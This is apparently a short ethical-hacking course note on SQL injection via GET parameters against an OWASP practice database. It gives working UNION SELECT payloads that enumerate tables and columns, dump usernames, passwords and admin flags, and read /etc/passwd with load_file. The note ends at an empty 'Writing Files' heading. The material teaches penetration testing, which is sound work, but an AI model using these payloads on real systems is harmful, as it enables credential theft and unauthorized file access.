Ethical Hacking - Web Penetration Testing(9)

SQL INJECTION

Discovering SQLi in GET

Inject by browser URL.

Selecting Data From Database

Change the number to a big one, then you can get a useful error message. And you can try different number to find the right column.

Using “union select 1,2,3,4,5” to find the right column.

Then replace it with the information we want to get. (database, user, version)

Finding Database Tables

union select 1,table_name,null,null,5 from information_schema.tables where table_schema = 'owasp10'

Extracting Sensitive Data Such As Passwords.

union select 1,column_name,null,null,5 from information_schema.columns where table_name = 'accounts'

union select 1,username,password,is_admin,5 from accounts

Reading Files

union select null,load_file('/etc/passwd'),null,null,null 

Writing Files